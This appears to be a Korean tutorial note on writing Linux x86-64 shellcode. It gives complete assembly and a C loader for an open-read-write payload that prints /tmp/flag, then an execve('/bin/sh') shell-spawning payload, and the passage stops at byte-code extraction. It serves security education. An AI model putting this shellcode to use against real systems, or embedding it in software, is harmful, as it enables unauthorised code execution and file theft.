익스플로잇(exploit)
: 해킹 분야에서 상대 시스템을 공격하는 것
셸코드(Shellcode)란?
익스플로잇을 위해 제작된 어셈블리 코드 조각
만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다.
셸코드는 어셈블리어로 구성되므로 공격 대상의 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다.
open-read-write
/tmp/flag
를 읽는 셸코드 작성char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); //fd로 부터 0x30 byte만큼 데이터를 읽어 buf에 저장해라.
write(1, buf, 0x30); //buf의 데이터를 0x30 byte만큼 fd에 써라. (여기서 fd는 1(stdout)이므로 파일에 작성되는 것이 아닌 화면에 출력이 됨.)
💡 fd (File Descripter란?)
유닉스 계열의 운영체제에서 파일에 접근하기 위해 사용되는 가상의 접근 제어자
프로세스마다 고유의 descripter table을 갖고 있으며, 그 안에 여러 fd를 저장
1. int fd = open("/tmp/flag", RD_ONLY, NULL);
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) open 0x02 const char *file name int flags umode_t mode
"/tmp/flag"
라는 문자열을 메모리에 적재
-> 스택에 0x616c662f706d742f67
(/tmp/flag) push
push 0x67
mov rax, 0x616c662f706d742f
push rax
rdi가 이를 가리키도록 rdi를 rsp로!
mov rdi, rsp
-> rdi = "/tmp/flag"
O_RDONLY는 0이므로 rsi = 0
xor rsi, rsi
mode 의미 x -> rdx = 0
xor rdx, rdx
rax는 open의 syscall 값으로
mov rax, 2
syscall
syscall
결과
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
2. read(fd, buf, 0x30);
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) read 0x00 unsigned int fd char *buf size_t count
read의 첫 번째 인자 = 반환받은 fd 값
mov rdi, rax
rdi = fd
rsi = 파일에서 읽은 데이터를 저장할 주소
0x30만큼 읽을 것이므로 rsi에 rsp-0x30대입
mov rsi, rsp
sub rsi, 0x30
rdx = 읽어낼 데이터의 길이
mov rdx, 0x30
rax = read의 syscall 값
mov rax, 0x0
syscall
syscall
결과
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
3. write(1, buf, 0x30);
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) write 0x01 unsigned int fd const char *buf size_t count
rdi = 1
mov rdi, 1
rsi와 rdx는 앞서 read에서 사용한 값과 동일하므로 재사용
rax = write의 syscall 값
mov rax, 0x1
syscall
syscall
결과
mov rdi, 1
mov rax, 0x1
syscall
최종코드
;Name: orw.S push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp ; rdi = "/tmp/flag" xor rsi, rsi ; rsi = 0 ; RD_ONLY xor rdx, rdx ; rdx = 0 mov rax, 2 ; rax = 2 ; syscall_open syscall ; open("/tmp/flag", RD_ONLY, NULL) mov rdi, rax ; rdi = fd mov rsi, rsp sub rsi, 0x30 ; rsi = rsp-0x30 ; buf mov rdx, 0x30 ; rdx = 0x30 ; len mov rax, 0x0 ; rax = 0 ; syscall_read syscall ; read(fd, buf, 0x30) mov rdi, 1 ; rdi = 1 ; fd = stdout mov rax, 0x1 ; rax = 1 ; syscall_write syscall ; write(fd, buf, 0x30)
앞에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF 형식이 아니므로 리눅스에서 실행될 수 없음!
👉 gcc 컴파일을 통해 ELF형식으로 변형!
셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방식 사용 (외에도 방법은 여러가지)
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
/tmp/flag
파일 생성echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag
set +H
입력 후 다시 입력echo "문자열" > 파일
gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U
-> 앞서 입력한 문자열 외의 문자도 출력됨run_sh 에 중단점 걸고, read syscall 사용 직후까지 가봅시다...
그러면 rsi가 가리키는 주소에 값이 저장되어 있어요...
그 주소를 x/s
로 확인해보면
"flag{this_is_open_read_write_shellcode!}\n\006@UUU"
앞에서 저장한 문자열 뿐만 아니고, 쓰레기 값이 함께 저장된 것을 확인 할 수 있음...!
스택 프레임을 정리할 때 사용한 영역을 0으로 초기화하는 것이 아니라 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시킨다.
-> 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 됨...
셸(Shell)이란?
운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
argv : 실행파일에 넘겨줄 인자,
envp : 환경변수
/bin/
dir에 저장되어 있음.execve("/bin/sh",null,null)
을 실행하기 위한 셸코드 작성
"/bin/sh"
라는 문자열을 메모리에 적재0x68732f6e69622f
pushmov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
orw 예제에서와 마찬가지로 c 코드 작성 후 컴파일 & 실행
작성한 셸코드를 byte code로 추출하는 방법!
1. assembly 코드를 파일로 저장
2. nasm 설치